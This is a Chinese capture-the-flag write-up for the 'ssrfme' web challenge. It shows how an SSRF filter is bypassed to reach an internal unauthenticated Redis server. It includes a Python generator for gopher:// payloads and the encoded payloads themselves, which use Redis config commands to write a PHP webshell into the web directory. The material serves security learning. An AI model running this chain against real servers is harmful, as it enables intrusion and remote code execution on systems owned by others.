長亭2月公開賽Web-ssrfme

環境部署

拉取環境報錯:

可以嘗試拉取一下ubuntu:16.04,看是否能拉取成功

將wersion:"3"刪掉

我拉去成功之后,再去拉取環境,成功!

訪問環境

測試ssrf

源碼

<?php
highlight_file(__file__);
function curl($url){ ?$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}
?
if(isset($_GET['url'])){$url = $_GET['url'];
?if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match)){
?die('No, No, No!');}curl($url);
}
if(isset($_GET['info'])){phpinfo();
}
?> 
雖然這里存在ssrf,但是我們可以看見源碼將file、dict、127.0.0.1、localhost都給過濾了,所以我們只能嘗試使用http協議進行內網主機存活探測,這里可以從phpinfo里面看到當前內網主機IP地址。

探測主機

然后我們就可測試一下,當前網段下有哪些IP地址的主機是存活狀態,可以使用bp,也可以手動測試

這里看到當檢測到172.19.0.2時,網頁返回了一個go away1,這臺主機是這個網段正在運行的一臺主機,并且也在運行http協議

掃描端口

接下來用bp掃描一下這臺主機的端口,但redis服務的端口是否打開

出現了這個報錯-ERR wrong number of arguments for 'get' command 1

這個是redis命令執行錯誤,表示在還用get命令時傳遞的參數數量不正確

那這就說明這臺主機的redis服務正在運行,那這里我們就有思路啦,既有ssrf,也有redis,emmmm

擴展知識-redis命令

redis未授權訪問攻擊

接著我們便可以嘗試 redis 未授權了,由于這臺內網主機上還存在一個http服務,所以我們可以將webshell寫入其web目錄,然后用ssrf進行訪問。

但是我們嘗試發現不能直接在/var/www/html目錄下寫文件,我們使用bp掃一下都有哪些目錄

????

在redis容器里面看到了upload文件

編寫腳本生成payload

python代碼編寫

from urllib.parse import quote
protocol="gopher://"
ip="172.19.0.2" ? ?# 運行著redis的內網主機ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"
?
def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmd
?
if __name__=="__main__":payload = ""for x in cmd:payload += quote(redis_format(x))print(payload)

輸出

gopher://172.19.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%0D%0A%241%0D%0A1%0D%0A%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%0D%0A%243%0D%0Aset%0D%0A%0D%0A%243%0D%0Adir%0D%0A%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%0D%0A%243%0D%0Aset%0D%0A%0D%0A%2410%0D%0Adbfilename%0D%0A%0D%0A%247%0D%0Aweb.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

可以使用工具Gopherus

下載Gopherus:https://github.com/tarunkant/Gopherus

二次編碼

再將payload進行url編碼

這里我遇到一個問題,一直上傳不成功,去查看了一下資料,終于知道為什么,因為我上傳的前面這個url前面://并沒有url編碼,因為我們在瀏覽器發送payload的時候瀏覽器會進行一次解碼,然后到了redis又會進行一次解碼,所以我才會進行一次二次編碼,終于懂了emmmmm

gopher%3A%2F%2F172.19.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%250D%250A%25241%250D%250A1%250D%250A%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2522cat%2520/flag%2522%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%250D%250A%25243%250D%250Aset%250D%250A%250D%250A%25243%250D%250Adir%250D%250A%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%250D%250A%25243%250D%250Aset%250D%250A%250D%250A%252410%250D%250Adbfilename%250D%250A%250D%250A%25247%250D%250Aweb.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

讀取flag

gopher%3A%2F%2F172.19.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2522cat%2520/flag%2522%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/76157.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/76157.shtml
英文地址,請注明出處:http://en.pswp.cn/web/76157.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

RK3506+net9+VS2022跨平臺調試C#程序

下載GetVsDbg.sh &#xff0c;這腳本會下載一個壓縮包&#xff0c;然后解壓縮&#xff0c;設置x權限等等。但是目標板子連不上&#xff0c;就想辦法獲取到下載路徑&#xff0c;修改這個腳本&#xff0c;顯示這個下載鏈接后&#xff0c;復制一下&#xff0c;用電腦下下來 修改好…

MySQL GTID集合運算函數總結

MySQL GTID 有一些運算函數可以幫助我們在運維工作中提高運維效率。 1 GTID內置函數 MySQL 包含GTID_SUBSET、GTID_SUBTRACT、WAIT_FOR_EXECUTED_GTID_SET、WAIT_UNTIL_SQL_THREAD_AFTER_GTIDS 4個內置函數&#xff0c;用于GTID集合的基本運算。 1.1 GTID_SUBSET(set1,set2) …

Java學習手冊:Java內存模型

Java內存模型&#xff08;Java Memory Model&#xff0c;簡稱JMM&#xff09;是Java語言中用于定義線程之間如何共享和操作內存的規范。它描述了Java程序中變量的內存可見性行為&#xff0c;并定義了線程之間的通信規則。理解Java內存模型對于編寫正確的并發程序至關重要。本文…

神經網絡優化 - 高維變量的非凸優化

網絡優化是指尋找一個神經網絡模型來使得經驗(或結構)風險最小化的過程&#xff0c;包括模型選擇以及參數學習等。 關于經驗風險最小化和結構風險最小化&#xff0c;請參考博文&#xff1a; 認識機器學習中的經驗風險最小化準則_樣本均值近似與經驗風險最小化的關系-CSDN博客…

Python自學第2天:條件語句,循環語句

條件語句 1.條件判斷 score 60 if score > 90:print("優秀") elif score > 60:print("及格") else:print("不及格") 注意&#xff1a; 1、每個條件后面要使用冒號 :&#xff0c;表示接下來是滿足條件后要執行的語句塊。2、使用縮進來劃…

C# dll 打包進exe

Framework4.x推薦使用 Costura.Fody 1. 安裝 NuGet 包 Install-Package Costura.Fody工程自動生成packages文件夾&#xff0c;300M左右。生成FodyWeavers.xml、FodyWeavers.xsd文件。 2. 自動嵌入 編譯后&#xff0c;所有依賴的 DLL 會被自動嵌入到 EXE 中。 運行時自動解壓…

Redis之緩存更新策略

緩存更新策略 文章目錄 緩存更新策略一、策略對比二、常見的緩存更新策略三、如何選擇策略四、實際應用示例五、使用 Cache-Aside TTL 的方式&#xff0c;實現緩存商鋪信息詳情1.引入StringRedisTemplate2.將查詢商鋪信息加入緩存3.更新商鋪信息時移除緩存總結 六、注意事項 一…

【工具變量】各地級市人口集聚及多中心程度數據集(2000-2023年)

多中心程度描述的是一個城市或區域內多個功能性中心的存在和分布情況&#xff1b;人口集聚度是指一定區域內人口的集中程度&#xff0c;它反映了區域內人口分布的不均衡性&#xff0c;這兩個概念相互關聯&#xff0c;通過分析地級市的多中心程度及人口集聚度可以幫助研究者理解…

函數對象-C++

1.定義 2.特點 、 1.解釋第一句 #include<stdio.h> using namespace std; #include<string> #include<map> #include <iostream> class print { public:void operator()(string s){cout << s << endl;} }; int main() {print print;pri…

Apifox下載安裝與使用

一、Apifox下載 官網地址:Apifox 點擊"免費下載",即可進行下載。 二、Apifox安裝 雙擊安裝文件即可安裝。

Python與圖像處理:從基礎操作到智能應用的全面解析

目錄 一、Python圖像處理的三大核心優勢 1.1 生態庫矩陣支撐 1.2 開發效率革命 1.3 跨領域協同能力 二、六大核心處理技術詳解 2.1 圖像基礎操作 2.2 圖像增強技術 2.3 特征提取算法 2.4 目標檢測技術 2.5 圖像分割技術 2.6 圖像生成技術 三、實戰案例&#xff1a;智…

雙 Token 與 單 Token 優缺點

雙Token與單Token認證機制對比 在Web應用開發中&#xff0c;身份認證和授權是保障系統安全的核心環節。隨著技術演進&#xff0c;基于Token的認證機制逐漸取代傳統Session方案&#xff0c;而雙Token與單Token架構的選型爭議也日益成為開發者關注的焦點。本文將從技術原理、優缺…

Spring Boot管理Spring MVC

Spring Boot真正的核心功能是自動配置和快速整合&#xff0c;通常Spring Boot應用的前端MVC框架依然使用Spring MVC。Spring Boot提供的spring-boot-starter-web啟動器嵌入了Spring MVC的依賴&#xff0c;并為Spring MVC提供了大量自動配置&#xff0c;可以適用于大多數Web開發…

1.凸包、極點、極邊基礎概念

目錄 1.凸包 2.調色問題 3.極性(Extrem) 4.凸組合(Convex Combination) 5.問題轉化(Strategy)?編輯 6.In-Triangle test 7.To-Left-test 8.極邊&#xff08;Extream Edges&#xff09; 1.凸包 凸包就是上面藍色皮筋圍出來的范圍 這些釘子可以轉換到坐標軸中&#xff0…

《如何用 Function 實現動態配置驅動的處理器注冊機制?》

大家好呀&#xff01;&#x1f44b; 今天我們來聊聊一個超實用的技術話題 - 如何用Java的Function接口實現動態配置驅動的處理器注冊機制。聽起來很高大上&#xff1f;別擔心&#xff0c;我會用最簡單的方式講清楚&#xff01;&#x1f60a; 一、為什么要用Function實現處理器…

【最新版】蕓眾商城獨立版源碼 425+插件 全新后臺框架

一.系統介紹 蕓眾商城系統最新版 已經更新425全插件版&#xff0c;一套系統支持各種新零售、商城、模式&#xff0c;天天美麗鏈動商城。不要相信那些外面的舊版本。舊版本等于是廢品&#xff0c;無法小程序運營的&#xff0c;框架還是舊的&#xff01; 蕓眾系統最新版 服務器可…

java 設計模式之單例模式

簡介 單例模式&#xff1a;一個類有且僅有一個實例&#xff0c;該類負責創建自己的對象&#xff0c;同時確保只有一個對象被創建。 特點&#xff1a;類構造器私有、持有自己實例、對外提供獲取實例的靜態方法。 單例模式的實現方式 餓漢式 類被加載時&#xff0c;就會實例…

Milvus 索引如何選擇

以下是幾種索引類型的特點及適用場景&#xff0c;可據此選擇&#xff1a; AUTOINDEX 特點&#xff1a;數據庫自動選擇合適索引類型&#xff0c;無需深入了解索引細節。適用場景&#xff1a;對索引知識了解有限&#xff0c;或不確定哪種索引適合當前數據和查詢需求&#xff0c…

CentOS 7 安裝教程

準備&#xff1a; 軟件&#xff1a;VMware Workstation 鏡像文件&#xff1a;CentOS-7-x86_64-bin-DVD1.iso &#xff08;附&#xff1a;教程較為詳細&#xff0c;注釋較多&#xff0c;故將操作的選項進行了加粗字體顯示。&#xff09; 1、文件–新建虛擬機–自定義 2、硬盤…

TAS啟動與卸載

3. 啟動TAS&#xff08;Thin-Agent服務&#xff09; TAS在安裝完成后通常會自動啟動&#xff0c;并在系統重啟時自啟。如需手動啟動&#xff0c;請按以下步驟操作&#xff1a; &#xfffc; 3.1 在Windows上啟動TAS 1. 打開 Windows服務管理器&#xff1a; ? 按下 Win R&…